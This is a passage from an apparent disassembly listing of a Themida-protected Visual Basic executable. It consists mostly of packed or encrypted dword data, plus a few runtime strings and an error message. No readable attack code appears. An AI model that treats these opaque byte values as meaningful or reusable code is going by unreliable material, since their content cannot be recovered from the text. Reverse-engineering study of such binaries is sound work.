		dd 67A66691h, 0CC1ECA51h, 76834516h, 0BB8Bh, 0A8DD3500h
		dd 2466E1A3h, 123DEFA1h, 748AAEDAh, 1CF63DEDh, 0C9F4A668h
		dd 0A4CF1491h, 11AA396Ch, 0F6433AF3h, 0D7D2E21Ch, 1825E510h
		dd 8D26BDE8h, 88B33075h, 66792B3Bh, 0CD6E7B3Bh,	0EDF2B390h
		dd 0DC08FC3Bh, 1789B12Bh, 5268ADBAh, 231FA650h,	0BF0887C1h
		dd 0CDBECE0Dh, 20FCFFAh, 3CA3DA63h, 12C5E7FDh, 58761CF8h
		dd 0C3F93D54h, 13520451h, 0A7408703h, 26CC1B8Fh, 6387C72Ch
		dd 57ECD50Eh, 1200000Dh, 98B0499Ch, 1F37D0E7h, 0A8C0596Eh
		dd 334BE4FBh, 0F4D77077h, 9057530Dh, 18AFDFF7h,	0A225677Fh
		dd 2FB4F109h, 0EC02AF96h, 16C5DB65h, 0DD56E6E0h, 69811AA9h
		dd 200EA73Ch, 68DA3C8h,	4A1CF63Eh, 0F63DAD34h, 5E66281Ch
		dd 0BFEE8F9Ch, 0F9FB1150h, 6A232068h, 0B43F7DA8h, 1516CC13h
		dd 0EC244F94h, 65FC27BEh, 0CBE12A71h, 16CC1444h, 974BFDBFh
		dd 0FF26E2B9h, 8A856FCh, 73289F8h, 0EE4F3A47h, 0F9000000h
		dd 8AAFA3C8h, 0EAF94996h, 3433BAEAh, 0ECAE1CF6h, 0EDFAAFDFh
		dd 246575C2h, 0E4292F43h, 0D284CC6Bh, 0B6E1F8A8h, 0CDB9E9F6h
		dd 0D48DCBF6h, 911CF55Bh, 0A52C4214h, 201CF551h, 5D6DAC5Eh
		dd 576E1E2Dh, 0E1F998A5h, 4BF41FA4h, 586EAD12h,	231F7956h
		dd 0E36C05C7h, 0F00645AAh, 1CF7E2BDh, 9826559h,	87E654C1h
		dd 6BAA6C7Ah, 983C2F5Bh, 0F25775A3h, 8797D688h,	0D696C106h
		dd 9FD2AC9h, 3B2B5B64h,	0EF1F2CCAh, 92862CBBh, 0C4638801h
		dd 0C40A28Bh, 85FB0000h, 0E819932h, 990820B9h, 1291A942h
		dd 681C34CDh, 0F6DDC059h, 0DE774E3Ah, 66FFC6C6h, 0F0895C4Eh
		dd 7D16ADD8h, 4CD3E996h, 0C716C5DAh, 0A9DD3DCDh, 3868E7A2h
		dd 4C4EFA1h, 0ED18AFDAh, 0CAE27B2Dh, 0B9C908DFh, 48E7F4CBh
		dd 7699271Bh, 9BE3AA3Ah, 0E790A88Dh, 3340ECAFh,	1BA8DD2Dh
		dd 0AD9CCDCh, 1194CCFDh, 586E93D2h, 1CF63DD1h, 60687F2Ah
		dd 69F2919Eh, 6388C734h, 0F63DC64Dh, 727F411Ch,	71A1172Dh
		dd 38FA2320h, 944CF0Dh,	0E1A516CCh, 0E7FB7E2h, 6C4A8EB9h
		dd 0D7B5692Fh, 0E39D44C4h, 5280A856h, 2A000000h, 8BCA316Ch
		dd 20723775h, 1F5E2023h, 204B9C0Fh, 0E4225360h,	16CC0A59h
		dd 0BF495230h, 0A856E616h, 2CFBh, 316CA500h, 0B3758BCAh
		dd 0A4232047h, 0EE79B7E2h, 4F16CC33h, 245C8750h, 40325D64h
		dd 4BFF9902h, 33DA2E6Dh, 16A856DCh, 7, 8592CC0h, 6CBE0000h
		dd 758BCA31h, 23269FA4h, 0A2B2F1B3h, 7BB3DEE1h,	0DD07B90Eh
		dd 0C30815A2h, 879F6B3h, 506801B3h, 0BA638E55h,	0C7DD1C83h
		dd 1CF63C85h, 6575B476h, 0F20AA320h, 5C0530B7h,	657BBA21h
		dd 16BF8B2Bh, 0B6A44A0Ch, 0AC5D5473h, 0AF08A73h, 0F5AB0000h
		dd 7E3149E2h, 0C9B8D069h, 424159F2h, 0D8CCE47Dh, 0A68D7009h
		dd 8E27BEEAh, 16AF3676h, 0A0398CFEh, 2DC61D88h,	0FC839946h
		dd 7716C5D7h, 4CD7ED7Dh, 3C1CF63Fh, 455B9A01h, 23269D64h
		dd 0AF38D193h, 0BCD211FEh, 1CF63CE3h, 0F1014002h, 7E962FB4h
		dd 0E891BC0Bh, 0F10746B5h, 16C5DCB7h, 1A067A98h, 23018C6Bh
		dd 0E80D3271h, 64414BD2h, 0F704C60Ah, 6C05C2C7h, 67925154h
		dd 6440A029h, 0EAD18C8Ah, 5C6395ABh, 7234908Eh,	232C74CCh
		dd 745D96D7h, 0A5Ah, 0B34C9B15h, 3AD3E49Bh, 0C35C6322h
		dd 4EE7F8ABh, 0DA737236h, 2C5810F7h, 0A4E4FC95h, 3E6C841Dh
		dd 0B3F60EA7h, 7B49B34h, 0C5D86AF1h, 5BEBE516h,	8BCA316Ch
		dd 269E9475h, 85A5C323h, 586F1E12h, 685F6D2Dh, 76B567E2h
		dd 8F162C51h, 0A16C62Bh, 9E0B3B48h, 0ED98B049h,	4226297Ah
		dd 113BC62Ah, 64244F94h, 2A3A87B2h, 33B6679h, 54143F80h
		dd 0B9F495A2h, 7389A9DAh, 16C62EECh, 41F3A567h,	9017EC02h
		dd 6C2E1CF6h, 0E714082Dh, 81C87C96h, 25ACC201h,	0A01095A5h
		dd 0E4A1D1DEh, 7B2E46DFh, 0E598416Ch, 3DC3B7F6h, 9962D66Bh
		dd 0E4094E5Bh, 0C7BDB2F0h, 2E6DCC72h, 96389118h, 3D4A0C10h
		dd 0C699F507h, 0BB688616h, 227CD0DCh, 6C7CBB6Dh, 5B6BAA39h
		dd 0AE6E992Eh, 0DCD2596Fh, 8B4D0A65h, 0C2C7DF7Eh, 0F5B6C605h
		dd 169DB3F2h, 910A65DDh, 5391C2CFh, 0A65DCC8h, 0D71685B8h
		dd 0DDE0A2B2h, 3BC2F2B2h, 940A65DDh, 5C7CF16h, 809DB3F8h
		dd 2710963Dh, 96162665h, 0EDFD424Fh, 1889EB8h, 7C04357Dh
		dd 576F08BAh, 46569552h, 59E0F642h, 0D404357Dh,	75356012h
		dd 0DF8E3768h, 89B30A78h, 0D898C318h, 0D5D7E726h, 0E827E712h
		dd 357D4BD2h, 0F704C604h, 0DDC39CB2h, 0A8E20A65h, 631E3FAh
		dd 7CBB205Dh, 7AA4336Ch, 63A8B508h, 2F25974Dh, 8AE7004h
		dd 4AC417B6h, 0DB321B54h, 96000008h, 1C34CD18h,	0A3BB5463h
		dd 2C44DDE2h, 0B7CF687Fh, 785BF4F3h, 14D3D791h,	9C23637Bh
		dd 26B9EB03h, 0B330758Dh, 7086331Ah, 16C5D5E9h,	0DDDA6A64h
		dd 0B8F01BA8h, 34CBF6CDh, 0C0C55B40h, 933A6A03h, 76AE7CD6h
		dd 1Dh,	93D0D1E1h, 0E1A1CC13h, 3744042Fh, 8DA3C831h, 1CF63E06h
		dd 0D1B2BF81h, 4FBh, 1501C663h,	123D8A05h, 0E9A44552h
		dd 8E9EC302h, 519EC91Ch, 0F63DB43Bh, 0BB6D2F1Ch, 65B678AEh
		dd 58A72320h, 0CC15BB42h, 0C2743616h, 0AE317383h, 15D2596Fh
		dd 8B4D16CCh, 0B6EB717Eh, 0FAE9D7E7h, 45840043h, 0E65DDF9h
		dd 44A04F00h, 8D3F0A2Eh, 9B76384Eh, 0A56749EAh,	2F9CD17Ah
		dd 0D7F8DAF0h, 672943C3h, 566D1828h, 195E6B2Bh,	8479C09h
		dd 66F6C914h, 0ECF948E4h, 9310204Dh, 5461214Ch,	0BC626124h
		dd 8A51A470h, 0E7301952h, 0A2000007h, 2840D9ECh, 0AFC76077h
		dd 3850E9FEh, 0C3DB744Bh, 846700C7h, 20A7E39Dh,	0A83F6F87h
		dd 32B5F70Fh, 0BF048199h, 7C923F26h, 16C5D4F5h,	0DDE67670h
		dd 0B8F01BA8h, 2F5CF5CCh, 3E6DF40Ah, 26E81CF6h,	5EC57819h
		dd 0AF6F9A2Dh, 97C20185h, 0C1E625D7h, 9C49F7CDh, 8C99D190h
		dd 26754B56h, 4879723h,	0CBD898C3h, 97BCFBBDh, 0B3D55C72h
		dd 7D2E16C5h, 777F3F6Ah, 0D78A8B5h, 80051DB6h, 6278DACBh
		dd 16C5B3DBh, 0B8E29456h, 0BCBF6CDh, 0BCE12E59h, 0C5B41FA6h
		dd 0CBD89A16h, 4D8C732Ah, 66ED0328h, 0E116C5B4h, 7DC121Fh
		dd 1E1CF615h, 980D1D5Ch, 0EF9AB24Bh, 3175ADD8h,	59C60CB2h
		dd 83BC637Eh, 7219Ah, 13A2DC00h, 9A2D627Ah, 23B8E901h
		dd 0AE31728Ah, 3A89FD15h, 21D7BEA1h, 0ADC55E65h, 354DE6FDh
		dd 0BFD77077h, 7D64FDCAh, 0D433BAD0h, 0B4AE16C5h, 0C9B8C824h
		dd 944E5F2h, 784D63A2h,	8F23269Eh, 0B7E8ECDh, 0FB604660h
		dd 0BE70C07Fh, 2C7B8B7Fh, 444E5310h, 5809837h, 445A7FBEh
		dd 16C5D6BDh, 26519416h, 8F9C5E66h, 0B7F8B55Eh,	0F9B27F8h
		dd 0F4E00DAh, 9AA5DAEAh, 0E9A9D4EBh, 0A9BF0C37h, 16C60222h
		dd 1C29DB9Dh, 0F01944E6h, 8D33F51Ch, 6384F15Dh,	870BF42Dh
		dd 42000006h, 0C8E0794Ch, 4F6700D7h, 0D8F0895Eh, 637B14ABh
		dd 2407A027h, 0C007833Dh, 489F0F27h, 0D21597AFh, 5F642139h
		dd 1C32DFC6h, 16C5D395h, 0DD861610h, 0B8F01BA8h, 3AE09ACDh
		dd 0C84AAF89h, 9F5103DAh, 74433C74h, 4E951149h,	0FD9E8223h
		dd 7D1E129Bh, 48E1E6A3h, 0CD9A0B1Bh, 1BDB06DDh,	0ED223E69h
		dd 0C860A667h, 76BECB7Dh, 0AE7C9F4Fh, 7B2h, 942C5C00h
		dd 0BE000002h, 0F01BA8DDh, 6AA91647h, 269F7F54h, 3BD49623h
		dd 378EFE0Eh, 0DC3F3729h, 0BDCA2DC1h, 0A0CB188Dh, 0E9FB5F53h
		dd 8A9F0198h, 714C619h,	0FFB8D3D7h, 0C9979417h,	1E499010h
		dd 576DAC5Eh, 16C610D0h, 3ED7894Bh, 0D413F8B5h,	0F671C8BEh
		dd 205F211Ch, 0B54E9510h, 0B50C7888h, 8DBDCA8Ah, 68A0CB18h
		dd 0D17AA53Ch, 0E0F02F9Ch, 0DBE0A1A0h, 313EF0B0h, 0BA78D6ECh
		dd 0DFA116BFh, 54AE0F39h, 0D9C2FB5Dh, 58Ah, 0E37C4B45h
		dd 6A03D4CBh, 0F38C5352h, 7E17A8DBh, 0AA32266h,	1C884027h
		dd 94142CC5h, 0EE9CB44Dh, 63263ED7h, 37E4CB64h,	0C5D29A21h
		dd 8B1B1516h, 0F01BA8DDh, 0CBF6CDB8h, 0ACC2E734h, 1CF63E25h
		dd 177E82A0h, 0C6EED113h, 801B0714h, 9FDEE5A0h,	9DC81F8Fh
		dd 431D0DDh, 3642C9DFh,	83BD1CF6h, 0FE0BBD02h, 7CDA0FB6h
		dd 7F2AEh, 2C9C0000h, 143h, 1BA8DDBEh, 0DF445175h, 0FFE8216Fh
		dd 506h, 5FF8CFC1h, 0E67F4847h,	6F08DFCEh, 0FA935457h
		dd 861FA6E2h, 8004BCA3h, 1090A841h, 6A1830C9h, 0E7A2BA53h
		dd 0B36047E0h, 0C5D2169Dh, 7979116h, 9ABFA8DDh,	0CE2E797Ah
		dd 33D53845h, 54975B25h, 1A2A77A2h, 6929546Bh, 6A792C5Ch
		dd 0E7B4A83Fh, 0DE774C39h, 0DCE3A1B1h, 0A25E87CFh, 0DC3AE7Ch
		dd 6D000000h, 0CA2Ch, 0C42CBE00h, 0BE000000h, 8BCA316Ch
		dd 269FA075h, 0CAF5B723h, 407F6C21h, 0EFEB282Ah, 31D7991Ch
		dd 6384D493h, 73C5AEE7h, 2E000004h, 0B4CC6570h,	3B53ECFBh
		dd 0C4DC754Ah, 4F6700C7h, 10F38C5Bh, 0AC3B6F29h, 348BFB13h
		dd 0BE01839Bh, 4B980D25h, 81ECBB2h, 16C5D181h, 6C7202FCh
		dd 8E515231h, 53789DDCh, 0F63DB63Dh, 616F311Ch,	7BBD6D86h
		dd 316774D6h, 231F9D3Dh, 63B675Bh, 4E6E5D58h, 32713341h
		dd 0A5E46322h, 933F31Eh, 56164196h, 63ED0BA4h, 0C216CAB7h
		dd 69D5A4C7h, 47A6A66Ah, 0AACFFC95h, 0CA6E0D94h, 0A3226616h
		dd 0AF364C9Bh, 2A16CA6Dh, 79A9B668h, 9F88B308h,	3DEh, 30B7CDF2h
		dd 0AB16CA6Eh, 6CD6DCE9h, 758BCA31h, 23269FA0h,	21CAF5B7h
		dd 30407F6Ch, 165B687Fh, 0EFEBFE00h, 7AD6F1Ch, 6384D57Fh
		dd 0ABBDA6DFh, 66000003h, 0EC049D28h, 738B24B3h, 0FC14AD32h
		dd 879F388Fh, 482BC403h, 0E4E3A761h, 6C73334Bh,	0F6C9BBD3h
		dd 8340455Dh, 405603EAh, 16C5D0B9h, 6CAA3A34h, 758BCA31h
		dd 23269FA4h, 0A4336C7Ch, 88C78997h, 1DB60D78h,	18438005h
		dd 92D13E6Fh, 8FBA0D82h, 677DC2CFh, 1CF63C25h, 5155416h
		dd 0F0354281h, 0E6A6A5E0h, 7C942DDFh, 8474209h,	638E4097h
		dd 79C6F1A3h, 0EE8E9185h, 727F976Eh, 0F02F9CD1h, 0BF5FA0DAh
		dd 19BF8116h, 5D544997h, 17D1BAF3h, 0D2000003h,	587009DCh
		dd 0DFF79027h, 688019AEh, 0F30BA43Bh, 0B49730B7h, 509713CDh
		dd 0D8EF9FB7h, 6265273Fh, 0EFF4B1C9h, 0ACC26F56h, 16C5D025h
		dd 0DD16A6A0h, 0E0E7A3A8h, 1843F5B5h, 851EA5E0h, 82594858h
		dd 3299D475h, 93A9CEF3h, 1CF63E0Ch, 82B8C587h, 23206248h
		dd 0EF3C6729h, 0F21DAADFh, 64EF2532h, 3B16CC1Ah, 23CA3E5Dh
		dd 6A856F6h, 34h, 0CCB8C8B0h, 0FD0ACAF5h, 7BBA215Ch, 20686365h
		dd 0E712D423h, 0CC131EA9h, 8417F516h, 0B0377787h, 12D45B71h
		dd 8D4F16CCh, 0FD913880h, 0CC74A856h, 1E000000h, 0DC1BA8DDh
		dd 3E1AA1B7h, 5B951CF6h, 0D9E6982Fh, 0AD3470A8h, 0FB5F4A82h
		dd 0F63E5EE5h, 6517D91Ch, 4087023Ah, 356A7AA7h,	0A65F95A2h
		dd 631CF642h, 0F008A126h, 5A032EB5h, 587DBC23h,	0F638BB42h
		dd 4E95141Ch, 5AE1F746h, 0D51CF639h, 0F546113h,	20536FF9h
		dd 0EF2EF023h, 0E1BACDFh, 48B7E66Fh, 0D0D4E409h, 1926E611h
		dd 0F8DB28E3h, 0A490B1Ch, 27348BFAh, 0FEADBDE2h, 0F8ACDCE9h
		dd 4C3850E9h, 6D53CF75h, 0FA336388h, 1E511h, 0D7EEA000h
		dd 5E69263Eh, 0E7FCADC5h, 7275364Eh, 0FEC5C1D9h, 0E59B8265h
		dd 718922A1h, 0F911AA31h, 839B348Bh, 4128C106h,	0CEF77E94h
		dd 787216C5h, 1AA9DDE8h, 0A73C6981h, 0DED1E10Eh, 6CF6FC09h
		dd 758BCA31h, 23206873h, 0BEE322E4h, 0CC1321A8h, 0B0DA9C16h
		dd 2C2EDF4h, 0FB86C4F5h, 0D216CC12h, 0B861A7F4h, 9DA856FDh
		dd 0BFh, 1BA8DD47h, 91D8CCDCh, 0E1A1CC13h, 0B9F1222Fh
		dd 8DCBF6CDh, 1CF642D4h, 36CF1491h, 47CEE409h, 0BC1CF639h
		dd 71C7232Ah, 0A4666EC6h, 2D226797h, 80406B78h,	0B7F8FCEh
		dd 2E4491BCh, 1CF55EA7h, 84AE6022h, 0D393BE05h,	0B1EC95C6h
		dd 0C1E60B4Ah, 0F55F24ABh, 0D0DD9F1Ch, 1F79109Ah, 36CF9123h
		dd 0CC0BF0ADh, 0D41397A7h, 0A6DCE9A9h, 1CF7FD8Ch, 1C2C6B2Dh
		dd 0A8C05968h, 0C93FE5FCh, 0B9638795h, 0F49780h, 0F1AF0000h
		dd 7A354DE6h, 0CDBCD46Dh, 46455DF6h, 0D4D0E881h, 0AA91740Dh
		dd 922BBAEEh, 1AB30A7Ah, 0A43D8002h, 31CA198Ch,	879D4Ah
		dd 7B16C5CEh, 0A9DDF181h, 3C69811Ah, 0C8200EA7h, 0C9F4CBB8h
		dd 0D9CCFC09h, 0E2A7DF0Ah, 8AC34CE5h, 8AD0E625h, 8323269Eh
		dd 0FFA7065h, 0F1A33D4Ch, 0DAEDA2B2h, 0B1E2EFAFh, 1EB70C79h
		dd 19448306h, 0BAA2FEDBh, 8DB24994h, 0D129F077h, 71316B98h
		dd 0BFABB86Ah, 824144DCh, 0FD4D1E9h, 0E8FFACE4h, 0E76E84A9h
		dd 6298D129h, 1E6293A0h, 0BCB05B40h, 1B208973h,	0CFFF0C07h
		dd 2FC5B1DAh, 623FC99Ah, 0E584B8CFh, 9244F68Fh,	80474353h
		dd 0E9889555h, 0E40FD4D1h, 3DF6A397h, 283B3A8Dh, 0D06A8B12h
		dd 92440698h, 99A63D68h, 1DB8h,	62170B00h, 943D0139h, 7C9BA1AEh
		dd 6DF40A2Fh, 0E21CF63Eh, 0D50EF3Bh, 0B4767E95h, 0A3DDA1A7h
		dd 0F4B1E914h, 1E8CC4EFh, 24649CC7h, 4E3A729Dh,	90144C77h
		dd 0BDEE2651h, 0C6C7FF2Ah, 0E19ED601h, 56EEABD6h, 0C681E689h
		dd 4, 5604EE83h, 42474FFh, 24048F5Eh, 0AF0685Ch, 4890000h
		dd 66516824h, 3C890000h, 6DBB5324h, 89063062h, 241C8BD8h
		dd 5404C483h, 81243C8Bh, 4C4h, 78BA5200h, 810CB170h, 151843E2h
		dd 4ADAF744h, 0F705EAC1h, 8AF281D2h, 1F82088h, 5A0289FAh
		dd 52243C8Bh, 0C281E289h, 4, 4C281h, 14870000h,	34FF5C24h
		dd 0C4815824h, 4, 0FAD791E9h, 0D5B0C5FFh, 0CE56CF24h
		dd 307147B8h, 0FFC50306h, 9318F4E0h, 352EBB5Bh,	703CB67Ch
		dd 0AB1E855Ch, 57832B1Ch, 1103D919h, 6E855h, 0F7F30000h
		dd 3244EEBEh, 0AE8h, 0B257D00h,	0D6D8094Dh, 0F3CDF60h
		dd 5958D2B7h, 81C2B70Fh, 5E83C1h, 14E900h, 12180000h, 0BAFC7FA3h
		dd 0E05C22Eh, 2F03A488h, 0AC87DE3Dh, 7BBB7A5Dh,	0F000017h
		dd 380h, 0D3B70F00h, 8E931FFh, 2A000000h, 0C0B9A123h, 5E05C0FFh
		dd 0C68118B4h, 61A7D545h, 0F503BF66h, 0AF47F681h, 0B8665F40h
		dd 0C68127D2h, 23559A34h, 59505260h, 5256615Eh,	5FC28B66h
		dd 0E983018Fh, 0A8BA6601h, 494949C2h, 0BEA67B8h, 850F4B26h
		dd 0FFFFFFB0h, 12E8F9h,	75160000h, 0CCD7D5h, 8AAC5E5Eh
		dd 981A5021h, 14D0D2F9h, 56A6C981h, 525A5047h, 0E9816656h
		dd 5E592225h, 6A70C281h, 0D7B50000h, 21BEFF2Bh,	8B16B03Ah
		dd 10E93A04h, 83000000h, 387FFFC5h, 485D5A3Eh, 893330B5h
		dd 815C4480h, 507B41C0h, 87C1810Bh, 8104FF21h, 0F3A8F4E8h
		dd 7E83Ah, 0EECA0000h, 319D85D8h, 0B96660F8h, 0C980E423h
		dd 815B6146h, 6CDE4BF0h, 8935B32Ah, 8B663A04h, 839DB7F2h
		dd 4FFC01EFh, 11B94F4Fh, 815CCCF8h, 0FF9628FFh,	98850FFFh
		dd 80FFFFFFh, 8D8DCFF1h, 63073DBh, 9D316160h, 62A18A5h
		dd 33958D89h, 8960062Ah, 2A186185h, 0C761F906h,	2A0BF985h
		dd 584C06h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1504h, 0C3554500h, 0E2B8DDE0h, 0C7693F8Bh, 2A06C585h
		dd 6, 9DB5FF00h, 0E9062A23h, 10h, 0FD111786h, 0A43F4A8Bh
		dd 0FD62118h, 0D1D8DA22h, 1A2DB58Bh, 95FF062Ah,	62A05C1h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 75C35141h
		dd 81C1AFA0h, 0BBD18DBBh, 30EDCFF1h, 95FF006Ah,	62A3439h
		dd 0DEBC08Bh, 9A23B5CDh, 37A17998h, 3A43B276h, 7A8D8D9Dh
		dd 0E8063074h, 13h, 90D3676Fh, 0C1385824h, 540FB874h, 50D0AE2Bh
		dd 5B0DABD3h, 665BD8Bh,	8D89062Ah, 62A3395h, 6840Fh, 9D330000h
		dd 62A34E5h, 0BF985C7h,	5D44062Ah, 6A0000h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 150424h, 53430000h, 56750BC3h
		dd 85C75FF8h, 62A06C5h,	0
		dd 0FFF0BF0Fh, 2A13BDB5h, 3820F06h, 0F000000h, 95FFFFB7h
		dd 62A05C1h, 6AC38B66h,	3995FF00h, 8B062A34h, 0BF7FEBC0h
		dd 66718B72h, 0DC3FF262h, 9638A766h, 163B9318h,	0ACA4D37Bh
		dd 4E84E9E8h, 681F3230h, 9D207513h, 42D8E53Eh, 5E2060B1h
		dd 951D987Eh, 3B1B9986h, 0B49E75Eh, 32865CD1h, 7C9D3E05h
		dd 0DDCAFB61h, 0F6B71A89h, 0E36A92C0h, 199199ACh, 0CEF34252h
		dd 27F11854h, 33EB9A6Ch, 0DB90B05Ah, 0F2AAF37Eh, 0B7C4C7F7h
		dd 26971EF0h, 0DF33DE11h, 20EAB8A9h, 27882F8h, 0BE291C2Ah
		dd 131F23A8h, 25E9B8C2h, 5E000000h, 460CC6h, 8 dup(0)
		dd 519E9h, 7EDE0A00h, 99D52CE4h, 0B6BC47FFh, 0D6A2641Ch
		dd 0F480843Ch, 30B47E5Ah, 4E06A0D4h, 6D25BFB7h,	8E46E07Ah
		dd 7C62FC74h, 0F1C76E63h, 63F8289Fh, 0A5CB3793h, 0FFA163BBh
		dd 0F47DD906h, 7B701FFBh, 227010BAh, 0E78192FDh, 0B39DD32Fh
		dd 0DFC9A75Bh, 0AF47A87h, 3B2535B2h, 6A5422E3h,	839C8F1Fh
		dd 82584BEDh, 9241F080h, 7011989Dh, 0BDB41F22h,	6EECFBB3h
		dd 8FCB1CD4h, 0BEB84DA5h, 0EE8A7CD4h, 1A56AC04h, 7B6E1030h
		dd 5B4E6862h, 3500F5A4h, 8A227011h, 0FDEA281Fh,	452AC35Dh
		dd 0B03BF5D4h, 0AAE8DFC4h, 0AF2E1858h, 2270498Bh, 71281B43h
		dd 4968CDC2h, 0E44F2270h, 0DA3199EDh, 7B9FD2E7h, 0D7000000h
		dd 0F6A5CB37h
dword_5B3368	dd 0AC96DA28h, 41C01A11h, 226F7CFAh, 0CDB9ACD4h, 0D2E70DFDh
					; DATA XREF: Themida_:005723B6o
		dd 680EF7C5h, 16071h, 56980000h, 8ABE1371h, 704FA095h
		dd 0C7AC1722h, 60576390h, 0E08FDF22h, 8E85D512h, 4925DC34h
		dd 79FF075Fh, 6C08FCCAh, 59FB1B75h, 21E1AF66h, 0E71A584Fh
		dd 57F3D887h, 601CD4B9h, 2CE4EEE5h, 2E07FCD6h, 91226FADh
		dd 0F981A52h, 0D8E9FE4Eh, 0C6942DC7h, 0B44F3921h, 885665BDh
		dd 710CF67Ah, 0ACC83C7Ah, 0D7976AC2h, 31764328h, 0DB9F968Bh
		dd 0B520226Fh, 9F745AD0h, 4C4335D1h, 675A64F2h,	6E637391h
		dd 226F98C7h, 0E27C8DF8h, 1DC4D82Ah, 79FF075Bh,	430FF48Fh
		dd 0F9E3F40Eh, 611062A1h, 16006E93h, 0CF2A847Bh, 4515D2A0h
		dd 0A9C9C05Bh, 6A10CAB6h, 69E0D2E7h, 51000000h,	0AF8DBDA2h
		dd 1910E472h, 6FFC1124h, 443BA622h, 0EACD37ECh,	0D26D5717h
		dd 847FD7C1h, 42E404EEh, 0E98B794Fh, 76D974Fh, 3741C51Dh
		dd 0CFC2F24Dh, 0E707F7E3h, 45F9D2h, 37310000h, 65BDA7CDh
		dd 96EED882h, 0C71F0951h, 5503A20h, 0A8698275h,	0B54F2518h
		dd 0A54210BFh, 1BB4BEB5h, 0FEB80A36h, 0D18B7008h, 4FA79E1Bh
		dd 0BAA4CA37h, 6F7CFF3Bh, 0B4A7CF22h, 0E70E02C8h, 1CED2h
		dd 37060000h, 83BCA6CCh, 3A244EB5h, 7D290C01h, 238E226Fh
		dd 25DD1B12h, 0C3DD614Bh, 6909FAD0h, 81CA1FCFh,	72E23D2h
		dd 0B8226F7Dh, 0BC2D7B79h, 1E2F0162h, 37130827h, 0E82445C5h
		dd 0C34BEADFh, 16C2899h, 54AE06F0h, 0B8E95D48h,	0D3E482A5h
		dd 0EF818139h, 6AB58605h, 0BF4F289Ah, 716615CCh, 289A69C4h
		dd 38FDF2FBh, 7F289A6Ah, 0D0350314h, 9171AFA6h,	0C7AC45DFh
		dd 0B55DEF76h, 29675EC0h, 55AD97D9h, 53025ADh, 0EE289A4Ch
		dd 0D8735D15h, 705A6BD6h, 2EE5D8E2h, 2A21AD49h,	857C5E74h
		dd 5364FFE9h, 0CFE41E5Ch, 942E3F35h, 111F04C6h,	121CCD9h
		dd 56040000h, 0FEF57988h, 7B2A73C8h, 455A6486h,	8872DD24h
		dd 0F183814Fh, 659E6C07h, 2AD8160Dh, 0EF4AC46h,	0E2207862h
		dd 0F0FADF8Eh, 5236490Ch, 96247E75h, 3FC3998Ch,	1C99731h
		dd 0CFD9114Bh, 43h, 0FFE63F07h,	0B6A0D231h, 7D0F261Bh
		dd 88B0226Fh, 720DF77Bh, 0F2A15061h, 6F7D38FDh,	1D147F22h
		dd 83CC09FEh, 8735D90h,	7C969F1Eh, 0FF89A26Fh, 9CE53E0Ch
		dd 82DDF8EDh, 37A2DD90h, 9DF19Dh, 3F2F0000h, 43F2A1EAh
		dd 7D969F94h, 0BE29226Fh, 6F7D6CC9h, 0F1E85322h, 73C5DDD2h
		dd 5FCA2445h, 8BE51D75h, 0A7C939F1h, 0E15449F8h, 0D628998Bh
		dd 84812F97h, 10213E00h, 0CBB5A542h, 60DF3930h,	2899AE60h
		dd 0D9C3AD55h, 5EF8181h, 1E372ABAh, 2A1FCE5Dh, 2899AF0Bh
		dd 0F02827C9h, 676968D0h, 0F2E505FCh, 0F08AE61Ch, 0F3A2EB40h
		dd 89303EFEh, 321C872Ah, 768B28DAh, 98A9C73Bh, 180213AEh
		dd 0D0877A94h, 87710102h, 8FA0D62Fh, 0C40D6298h, 5D1C2015h
		dd 2AF82479h, 2EA097D7h, 3F5729C3h, 0FDF2A1EAh,	245F0A3Fh
		dd 0AD10EED3h, 572EA451h, 17E5EE60h, 0A39287EDh, 14289FDEh
		dd 4826DBA9h, 0DF54D37h, 0F111C963h, 0C816957Fh, 0B5688421h
		dd 0B5BD4614h, 193930CBh, 0B58A6F26h, 0AAD1A4B7h, 0A75B9990h
		dd 8B772FC9h, 63A3FBE5h, 8DA72B15h, 323EC49Ah, 4E22E098h
		dd 31864h, 2E560000h, 0ABB137D6h, 0D79969C1h, 85295EDh
		dd 373FC61Eh, 650FF54Dh, 93E1237Bh, 0C3B551A9h,	0F08281D9h
		dd 1B53AE06h, 89521631h, 4C281E2h, 81000000h, 4EAh, 24148700h
		dd 242C895Ch, 5E08950h,	4, 8704E883h, 895C2404h, 8952240Ch
		dd 4C281E2h, 81000000h,	4EAh, 24148700h, 2414895Ch, 61D96855h
		dd 2C8B18C9h, 4C48124h,	81000000h, 9C2113EDh, 0EBF58137h
		dd 89E71D35h, 8B545DE9h, 0C4812414h, 4,	0FEB68h, 240C8900h
		dd 8B08428Fh, 89512414h, 4C181E1h, 81000000h, 4C1h, 240C8700h
		dd 2434FF5Ch, 4C48159h,	0E9000000h, 0FFFA03EEh,	0DC86DEDAh
		dd 91A8CCFFh, 0A6B8333Ah, 3063079h, 16E0FFC5h, 5E2286F3h
		dd 141144E5h, 71703B87h, 3917A584h, 4733C2D5h, 0B8446603h
		dd 68185D16h, 0F2133C09h, 3D698583h, 0A37C01F2h, 0D064BD73h
		dd 0FF019192h, 0E952E756h, 17Eh, 12021E89h, 77E705C5h
		dd 6D5C3A43h, 706E755Fh, 656B6361h, 61700072h, 64656B63h
		dd 6578652Eh, 3Bh dup(0)
a3cannotFindS_P	db '3Cannot find ',27h,'%s',27h,'. Please, re-install this application',0
aThunrtmain	db 'ThunRTMain',0
a__vbavartstne	db '__vbaVarTstNe',0
		dd 8 dup(0)
		dd 0C1E90000h, 6800001Bh, 6307E51h, 0FA0215E9h,	7F3D68FFh
		dd 0BE90630h, 68FFFA02h, 6308045h, 0FA0201E9h, 811268FFh
		dd 0F7E90630h, 68FFFA01h, 6308156h, 0FA01EDE9h,	822568FFh
		dd 0E3E90630h, 68FFFA01h, 630828Fh, 0FA01D9E9h,	82D668FFh
		dd 0CFE90630h, 68FFFA01h, 63089B1h, 0FA01C5E9h,	8A3B68FFh
		dd 0BBE90630h, 68FFFA01h, 6308B01h, 0FA01B1E9h,	8BDB68FFh
		dd 0A7E90630h, 68FFFA01h, 6308C3Eh, 0FA019DE9h,	8CEF68FFh
		dd 93E90630h, 68FFFA01h, 6308D86h, 0FA0189E9h, 8E2C68FFh
		dd 7FE90630h, 68FFFA01h, 63094E8h, 0FA0175E9h, 95CE68FFh
		dd 6BE90630h, 68FFFA01h, 6309679h, 0FA0161E9h, 0E27A6EFFh
